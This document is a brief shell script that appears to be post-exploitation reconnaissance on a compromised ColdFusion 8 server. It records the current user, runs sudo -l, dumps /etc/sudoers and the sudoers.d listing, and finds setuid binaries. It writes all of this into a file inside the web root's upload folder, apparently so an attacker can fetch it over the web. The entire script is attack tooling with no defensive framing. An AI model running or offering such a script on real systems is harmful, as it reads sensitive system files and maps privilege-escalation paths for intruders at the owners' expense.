#!/bin/sh
{
echo "=== id ==="; id
echo "=== sudo -l ==="; sudo -l 2>&1
echo "=== sudoers ==="; cat /etc/sudoers 2>&1
echo "=== sudoers.d ==="; ls -la /etc/sudoers.d/ 2>&1
echo "=== setuid ==="; find / -xdev -perm -4000 -type f 2>/dev/null
} > /opt/coldfusion8/wwwroot/userfiles/file/probe2_out.txt 2>&1
echo done
